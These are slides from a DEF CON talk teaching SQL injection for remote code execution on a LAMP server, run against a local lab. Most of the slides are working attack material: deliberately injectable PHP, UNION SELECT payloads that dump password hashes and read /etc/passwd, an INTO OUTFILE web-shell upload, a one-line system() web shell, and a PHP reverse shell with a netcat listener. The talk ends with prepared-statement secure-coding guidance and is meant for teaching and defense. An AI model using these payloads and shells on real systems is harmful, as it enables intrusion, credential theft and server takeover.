DEF CON 23 - Lance-Buttars-Nemus-Hacking-SQL-Injection-for-Remote-Code-Execution-on-a-LAMP-UPDATED
DEF CON 23 - Lance-Buttars-Nemus-Hacking-SQL-Injection-for-Remote-Code-Execution-on-a-LAMP-UPDATED
Updated Slides @
https://www.introtobackdoors.com
Who am I?
http://websecuritywarriors.com/
Prerequisites
● Familiarity with Linux, Apache, MySQL, PHP (LAMP).
● LAMP Setup
○ https://www.digitalocean.
com/community/tutorials/how-to-install-linux-apache-
mysql-php-lamp-stack-on-ubuntu
Why Study Attacks?
Steps
1. Identify the vulnerability.
2. Fingerprint server.
3. Enumerate data from the database.
4. Upload a backdoor.
Lab Setup
Environment and Tools
This will make running tests easier and allow for the quick
generation of malicious urls needed to exploit the web
server.
Curl Test Script
#!/bin/bash
curl --get --data-urlencode "id=$1" "http://127.0.0.1/get.php"
-G, --get
● When used, this option will make all data specified with -d, --data, --data-
binary or --data-urlencode to be used in an HTTP GET request.
--data-urlencode
● performs URL-encoding http://www.w3schools.com/tags/ref_urlencode.asp
http://curl.haxx.se/docs/manpage.html
PHP Architecture
Architecture 2
Test Database and Data
mysql> CREATE DATABASE orders;
mysql> USE ORDERS;
mysql> CREATE TABLE `orders` (
`orderNumber` int(11) AUTO_INCREMENT,
`productCode` varchar(15) NOT NULL,
`quantityOrdered` int(11) NOT NULL,
`priceEach` double NOT NULL,
`orderLineNumber` smallint(6) NOT NULL,
PRIMARY KEY (`orderNumber`)
) ENGINE=InnoDB;
mysql> INSERT INTO orders (productCode,quantityOrdered,priceEach,
orderLineNumber)
values ('FAB232RT','30','20.00','1');
http://www.mysqltutorial.org/mysql-sample-database.aspx
Users Table
CREATE TABLE login(
id int(10) NOT NULL AUTO_INCREMENT,
username varchar(255) NOT NULL,
password varchar(255) NOT NULL,
email varchar(255) NOT NULL,
PRIMARY KEY (id)
);
-- login table with a couple of users using a md5 password
insert into login (username,password,email) values ('admin',md5
('monkey'),'[email protected]');
insert into login (username,password,email) values ('admin',md5
('test'),'[email protected]');
Vulnerable Code
<?PHP // echo request URL
echo "http://".$_SERVER['HTTP_HOST']. $_SERVER['REQUEST_URI'] . "\n";
// Check connection
if (mysqli_connect_errno()) { echo "Failed to connect to MySQL: " . mysqli_connect_error(); }
if(isset($_GET['id'])){
$query = "SELECT * FROM orders where orderNumber =". $_GET['id'];
echo $query . "\n"; // display sql statement.
$result = mysqli_query($con,$query);
}
if($result){
while($row = mysqli_fetch_array($result)) { echo print_r($row,true); }
}else{ echo "Invalid sql \n"; }
mysqli_close($con);
echo "\n";
?>
Vulnerability Testing
So how does an attacker test for SQL
injection?
Blind SQL Injection & Error Messages
● Blind SQL Injection
○ Blind SQL Injection is a type of an attack that runs valid queries on the
database often using timing along with true or false parameters. The
results from the timing attacks and the true or false evaluations can
help determine if the system is vulnerable. This attack method is used
when the web application is configured to NOT show generic error
messages.t’
Strings
● SELECT * FROM Table WHERE id = '1';
Numeric
● SELECT * FROM Table WHERE id = 1;
Evaluation
● SELECT * FROM Users WHERE username = $user_name
AND password = $Injection_point
○ If the query receives a result the code assumes the
statement is true and returned data is used as
validation.
Expand from http://websec.ca/kb/sql_injection
Demonstrated Methodology
URL:http://127.0.0.1/get.php?id=1%20AND%201
SELECT * FROM orders where orderNumber =1 AND 1
Array(
[orderNumber] => 1
[productCode] => ASDFB
…….
URL:http://127.0.0.1/get.php?id=1%20AND%200
SELECT * FROM orders where orderNumber =1 AND 0
# No returned results.
Numeric Injection Testing Continued
# 1 AND TRUE returns results. Which implies this is possibly vulnerable.
root@testbox:/# ./get_curl.sh "1 AND True"
URL:http://127.0.0.1/get.php?id=1%20AND%20true
SELECT * FROM orders where orderNumber =1 AND true
Array(
[orderNumber] => 1
[productCode] => ASDFB
…….
URL:http://127.0.0.1/get.php?id=1%20AND%20false
SELECT * FROM orders where orderNumber =1 AND false
# No returned results.
Numeric Injection Testing Continued
# 1-false returns 1 result if sql injection possibly vulnerable.
root@testbox:/# ./get_curl.sh "1-false"
URL:http://127.0.0.1/get.php?id=1-false
SELECT * FROM orders where orderNumber =1-false
Array(
[orderNumber] => 1
[productCode] => ASDFB
…….
URL:http://127.0.0.1/get.php?id=1-true
SELECT * FROM orders where orderNumber =1-true
# No returned results.
Numeric Injection Testing Continued
# 1*3 returns 3 if sql injection vulnerability exists.
root@testbox:/# ./get_curl.sh "1*3"
URL: http://127.0.0.1/get.php?id=1%2A3
SELECT * FROM orders where orderNumber =1*3
https://www.owasp.org/index.
php/Testing_for_Web_Application_Fingerprint_%28OWASP-IG-004%29
Nmap Scanning
[root@server1 ~]# nmap -A 127.0.0.1
Host: 10.1.1.6
Derived Signature:
Apache/2.2.15 (CentOS)
9E431BC86ED3C295811C9DC5811C9DC5811C9DC5505FCFE84276E4BB811C9DC5
0D7645B5811C9DC5811C9DC5CD37187C11DDC7D7811C9DC5811C9DC58A91CF57
FCCC535B6ED3C295FCCC535B811C9DC5E2CE6927050C5D33E2CE6927811C9DC5
6ED3C295E2CE69262A200B4C6ED3C2956ED3C2956ED3C2956ED3C295E2CE6923
E2CE69236ED3C295811C9DC5E2CE6927E2CE6923
● Example:
○ SELECT * FROM orders WHERE id = 1 UNIO
SELECT 1,2,3,4,5,...,x;
Union Select Version
./get_curl.sh "1 UNION SELECT null,null,null,null,VERSION()"
URL:http://127.0.0.1/get.php?id=0%20UNION%20SELECT%20%271%27%
2C%271%27%2C%271%27%2C%271%27%2CVERSION%28%29
Array(
[orderNumber] => 1
[productCode] => 1
[quantityOrdered] => 1
[priceEach] => 1
[orderLineNumber] => 5.5.40
)
Fingerprinting with Concatenation
http://127.0.0.1/get.php?id=9%20UNION%20SELECT%20%271%27%2C%
271%27%2C%271%27%2C%271%27%2C%20CONCAT%28%27a%27%2C%
27a%27%29
SELECT * FROM orders WHERE orderNumber =9 UNION SELECT
'1','1','1','1', CONCAT('a','b')
[orderNumber] => 1
[productCode] => 1
[quantityOrdered] => 1
[priceEach] => 1
[orderLineNumber] => ab
Oracle CONCAT Test
./get_curl.sh "1 UNION SELECT null,null,null,null,'b' || 'b' or CONCAT('b','a')"
http://127.0.0.1/get.php?id=9%20UNION%20SELECT%20%271%27%2C%
271%27%2C%271%27%2C%271%27%2C%20CONCAT%28%27a%27%2C%
27a%27%29
SELECT * FROM orders WHERE orderNumber =9 UNION SELECT
'1','1','1','1', 'b' || 'b' or CONCAT('b','b')
[orderNumber] => 1
[productCode] => 1
[quantityOrdered] => 1
[priceEach] => 1
[orderLineNumber] => 0
Fingerprinting Conclusion
● By comparing the results of the concatenation tests the
attacker can see the MySQL test passed by returning
the concatenated string “ab” and the Oracle test failed
by not returning a concatenated string.
URL:http://127.0.0.1/get.php?id=0%20UNION%20SELECT%20host%2C%
20user%2C%20password%2Cnull%2Cnull%20FROM%20mysql.user
Array(
[orderNumber] => localhost
[productCode] => root
[quantityOrdered] => *A294441C38B03BE12E32771ADDF7976B0DDB8164
[priceEach] =>
[orderLineNumber] =>
)
MySQL Hostname
# get the name of the server.
./get_curl.sh "0 UNION SELECT null,null,null,null, @@hostname";
URL:http://127.0.0.1/get.php?id=0%20UNION%20SELECT%20null%2Cnull%
2Cnull%2Cnull%2C%20%40%40hostname
Array(
….
[orderLineNumber] => testbox-ubuntu
)
MySQL Concat
# Use Concat to combine multiple columns
./get_curl.sh "9 UNION SELECT '1','1','1', CONCAT_WS(0x3A, user, password)
FROM mysql.user"
URL:http://127.0.0.1/get.php?id=9%20UNION%20SELECT%20null%2Cnull%
2Cnull%2Cnull%2C%20CONCAT_WS%280x3A%2C%20user%2C%
20password%29%20FROM%20mysql.user
URL:http://127.0.0.1/get.php?id=0%20UNION%20SELECT%20null%2Cnull%
2Cnull%2Cnull%2C%20UUID%28%29
URL:http://127.0.0.1/get.php?id=0%20UNION%20SELECT%20null%2Cnull%
2Cnull%2Cnull%2Cdatabase%28%29
Array(
[orderLineNumber] => orders
)
MySQL Find Tables and Columns
# get the name of the server.
./get_curl.sh "0 UNION SELECT (@),NULL,NULL,NULL,NULL FROM (SELECT(@:=0x00),
(SELECT (@) FROM (information_schema.columns) WHERE (table_schema>=@) AND (@)IN
(@:=CO,' [ ',table_schema,' ] >',table_name,' > ',column_name))))x "
URL:http://127.0.0.1/get.php?id=0%20UNION%20SELECT%20%28%40%29%2CNULL%
2CNULL%2CNULL%2CNULL%20FROM%20%28SELECT%28%40%3A%3D0x00%29%2C%
28SELECT%20%28%40%29%20FROM%20%28information_schema.columns%29%
20WHERE%20%28table_schema%3E%3D%40%29%20AND%20%28%40%29IN%20%28%
40%3A%3DCONCAT%28%40%2C0x0a%2C%27%20%5B%20%27%2Ctable_schema%2C%
27%20%5D%20%3E%27%2Ctable_name%2C%27%20%3E%20%27%2Ccolumn_name%
29%29%29%29x%20
URL:http://127.0.0.1/get.php?id=0%20UNION%20SELECT%20null%2Cnull%2Cusername%
2Cpassword%2Cemail%20from%20login
…
[quantityOrdered] => admin
[priceEach] => d0763edaa9d9bd2a9516280e9044d885
[orderLineNumber] => [email protected]
…
[quantityOrdered] => test
[priceEach] => 098f6bcd4621d373cade4e832627b4f6
[orderLineNumber] => [email protected]
….
Identifying Hashes
http://www.openwall.com/phpass/
https://github.com/ircmaxell/password_compat
http://php.net/manual/en/faq.passwords.php
Hash Password Cracking
Algorithms Documentation
● MD5 http://www.openwall.com/john/doc/
● SHA1
● SHA-256 Windows - Hashsuite
● SHA-512
http://hashsuite.openwall.net/
● MySQL
and much more
SQL-map --password
#more on this later...
Rainbow Tables
URL:http://127.0.0.1/get.php?id=0%20UNION%20SELECT%20NULL%
2CNULL%2CNULL%2CNULL%2CLOAD_FILE%28%27%2Fvar%2Fwww%
2Fhtml%2Fget.php%27%29%3B
…
// Create connection
$con = mysqli_connect("127.0.0.1","root","MyNewPass","orders");
...
Reading Files
./get_curl.sh "0 UNION SELECT NULL,NULL,NULL,NULL,LOAD_FILE
('/etc/passwd');"
URL:http://127.0.0.1/get.php?id=0%20UNION%20SELECT%20NULL%
2CNULL%2CNULL%2CNULL%2CLOAD_FILE%28%27%2Fetc%2Fpasswd%
27%29%3B
vboxadd:x:999:1::/var/run/vboxadd:/bin/false
postfix:x:108:113::/var/spool/postfix:/bin/false
mysql:x:109:115:MySQL Server,,,:/nonexistent:/bin/false
nemus:x:1002:1002:,,,:/home/nemus:/bin/bash
Read File Limitation
./get_curl.sh "0 UNION SELECT NULL,NULL,NULL,NULL,LOAD_FILE
('/etc/shadow');"
Array(
[orderLineNumber] =>
)
#returns no results
MySQL Readable Files of Interest
Files readable from the mysql process.
/etc/passwd
/etc/resolv.conf
/etc/motd
/etc/crontab
/etc/ssh/sshd_config
Ubuntu/Debian
/etc/lsb-release
/etc/apache2/sites-enabled/000-default.conf
Centos/RHEL
/etc/redhat-release
/etc/httpd/conf/httpd.conf
http://wiki.apache.org/httpd/DistrosDefaultLayout
http://pwnwiki.io/#!privesc/linux/index.md
Gotchas
● So far the attacker has demonstrated how they can retrieve data out of the
target, but something seems to be missing.
● The idea of modifying the data in the database using a SELECT injection
appears to be a logical next step. Maybe by nesting queries or modifying
UNION SELECT to include an INSERT or UPDATE statement.
SQL Nesting/Subquery
References
http://beginner-sql-tutorial.com/sql-subquery.htm
http://dev.mysql.com/doc/refman/5.6/en/subqueries.html
Bobby Drop Tables?
The mysqli_query driver function doesn’t support query stacking. You cannot
simply end the first query with a semicolon and start another one,but depending
on the driver this is possible on other platforms.
● http://www.sqlinjection.net/stacked-queries/
● For the web shell to work the target server must support
the programing language used by the shell so for PHP
application an attacker will need a PHP web shells.
○ http://www.binarytides.com/web-shells-tutorial/
PHP Web Shells Functions
To be able to take control and execute commands or code on the system the attacker will need to craft
a webshell that can be uploaded to the web server.
http://stackoverflow.com/questions/3115559/exploitable-php-functions
Addendum 2
These Function can download remote php script and execute them in older
version of PHP such as php 5.2
● include()
● include_once()
● require()
● require_once()
http://php.net/manual/en/filesystem.configuration.php
New version of php such as 5.2 > require that allow_url_include option be set
inside the php.ini file before they can import code remotely. So this “feature” is
turned off by default. So if you plan on included code remotely you would need
to change the php.ini config then restart the services.
Addendum 2 Continued.
<?PHP /* remotecode include
Whether to allow include/require to open URLs (like http:// or ftp://) as files.
http://php.net/allow-url-include
allow_url_include = On
*/
$test = 'http://somesite/bad.txt';
require_once($test);
if(isset($_GET[‘test’])){
require_once($_GET[‘test’]);
}
?>
<?PHP /*BAD.txt */
echo time();
?>
Example Web Shell
Simple Shell
<?PHP echo system($_GET['cmd']); ?>
http://10.254.10.6/uploads/shell.php?cmd=ls
# curl http://somesite/shell.php
More info http://www.madirish.net/402
Output…
mysqli
MysqlI Support => enabled
Client API library version => 5.1.54
Active Persistent Links => 0
...
Remote Code Attacks
● First they will try and upload a backdoor PHP script via
the MySQL write function.
URL:http://127.0.0.1/get.php?id=0%20UNION%20SELECT%20NULL%
2CNULL%2CNULL%2CNULL%2C%20%27%3C%3F%20system%28%5B%
5C%27c%5C%27%5D%29%3B%20%3F%3E%27%20INTO%20OUTFILE%
20%27%2Ftmp%2Fshell.php%27%3B
Sometimes system administrators will chmod 777 a file. If the attacker can find
a directory that has global write access in the url path they can overwrite the file
using the MySQL write file and possibly execute it by calling the code from a
http request.
Possible URl Paths
● /var/www/html/templates_compiled/
● /var/www/html/templates_c/
● /var/www/html/templates/
● /var/www/html/temporary/
● /var/www/html/images/
● /var/www/html/cache/
● /var/www/html/temp/
● /var/www/html/files/
MySQL Writable File Directories
Directors of interest
○ /var/lib/mysql/
○ /var/log/mysql/
○ /run/mysqld/
○ /tmp
Remote Code Execution
Considering that most applications have a file upload feature the attacker could
then use this feature to install a webshell.
Most applications will block attempts to upload .php extension files, but they
might be able to bypass these filters if they are in place.
If all else fails and the attacker may have write permission on a server
they could possible attack the server via social engineering with some
careful crafted file names.
From : http://www.defensecode.com/public/DefenseCode_Unix_WildCards_Gone_Wild.txt
WCP Example 2 SCP
[root@wcp_poc2]# ls root@wcp_poc2]# scp * test@192.
file1 168.122.64:~/
file2
file3 #after
file4
[root@wcp_poc2]# ls -lah /var/www/
file5
s.sh total 8.0K
-o ProxyCommand sh s.sh drwxrwxrwx. 2 root root 4.0K Oct 7
zzz.txt 03:35 .
#before
[root@wcp_poc2]# ls -lah /var/www/
total 8.0K
drw-rw----. 2 root root 4.0K Oct 7 03:
35 .
From : https://dicesoft.net/projects/wildcard-code-execution-exploit.htm
Reverse Shell Call Backs
a example Net Cat listener to receive shells and ran on the attackers
remote server.
● nc -l -p 8080
● php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh
-i <&3 >&3 2>&3");'
OR Bash Reverse Shell.
Real prepared statements have the database build the query with the
parameters instead of building the query with the parameters and then sending
it to the database.
$dbh->setAttribute(PDO::ATTR_EMULATE_PREPARES, false);
http://stackoverflow.com/questions/5741187/sql-injection-that-gets-around-
mysql-real-escape-string/12118602#12118602
Secure Coding Example
<?PHP input filter example with prepared statement using PDO. Better example of more secure code
$dbh = null;
try { //set character set
$dbh = new PDO("mysql:dbname=orders;host=localhost;charset=gbk", "selectonlyuser", "pword" );
$dbh->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
$dbh->setAttribute(PDO::ATTR_EMULATE_PREPARES, false);
}catch(PDOException $e){
echo $e->getMessage();
}
$stmt = $dbh->prepare("SELECT * FROM orders where orderNumber = :id");
print_r($_GET);
if(isset($_GET['id']) && filter_var($_GET['id'], FILTER_VALIDATE_INT) === 1 ){
$stmt->bindParam(':id', $_GET['id'], PDO::PARAM_INT);
$stmt->execute();
while($row = $stmt->fetch(PDO::FETCH_ASSOC)) {
echo htmlspecialchars(print_r($row));
}
}else{
echo "Invalid input";
}
$dbh =null;
?>
MySQL Users Permissions
“Sqlmap is an open source penetration testing tool that automates the process
of detecting and exploiting SQL injection flaws and taking over of database
servers. It comes with a powerful detection engine, many niche features for the
ultimate penetration tester and a broad range of switches lasting from database
fingerprinting, over data fetching from the database, to accessing the
underlying file system and executing commands on the operating system via
out-of-band connections.” - SQLMap.org
http://sqlmap.org/
https://github.com/sqlmapproject/sqlmap/wiki/Usage
Appendix A SQL Injection Resources
● http://websec.ca/kb/sql_injection
● http://www.blackhat.com/presentations/bh-usa-
09/DZULFAKAR/BHUSA09-Dzulfakar-MySQLExploit-
PAPER.pdf
● http://www.thisislegal.com/tutorials/18://www.thisislegal.
com/tutorials/18
● http://www.grayscale-research.
org/new/pdfs/SQLInjectionPresentation.pdf
Appendix B Privilege Escalation
How to’s
● http://blog.g0tmi1k.com/2011/08/basic-linux-privilege-
escalation/
● http://www.admin-magazine.
com/Articles/Understanding-Privilege-Escalation
● http://pwnwiki.io/#!privesc/linux/index.md
Appendix C PHP Secure Coding
Input Validation
● http://php.net/manual/en/function.filter-input.php
● http://www.w3schools.com/php/php_form_validation.asp
● http://www.phpro.org/tutorials/Validating-User-Input.html
Appendix D User Defined Functions
A more advanced attack against a MySQL database uses MySQL User Defined
Function (UDF) to gain shell and root access. SQL Map has a UDF function
which requires query stacking.
● http://nsimattstiles.wordpress.com/2014/07/11/gaining-a-root-shell-using-
mysql-user-defined-functions-and-setuid-binaries/
● http://www.iodigitalsec.com/mysql-root-to-system-root-with-udf-for-
windows-and-linux/
● https://www.defcon.org/images/defcon-17/dc-17-presentations/defcon-17-
muhaimin_dzulfakar-adv_mysql.pdf
● https://github.com/sqlmapproject/sqlmap/blob/master/lib/takeover/udf.py
● http://stackoverflow.com/questions/23707101/using-a-udf-mysql-query-
from-php
● http://www.exploit-db.com/exploits/7856/
Appendix E PHP Security Guides
● https://www.owasp.org/index.php/PHP_Security_Cheat_Sheet
● http://phpsec.org/projects/guide/
● http://www.madirish.net/199
● https://www.idontplaydarts.com/2011/02/hardening-and-securing-php-on-
linux/
● https://www.owasp.org/index.php/PHP_CSRF_Guard
● http://www.cvedetails.com/vulnerability-list/vendor_id-74/product_id-
128/PHP-PHP.html
Appendix F Code Review Analysis
● http://sourceforge.net/projects/rips-scanner/
● http://pen-testing.sans.org/blog/pen-
testing/2012/06/04/tips-for-pen-testers-on-
exploiting-the-php-remote-execution-
vulnerability
Credits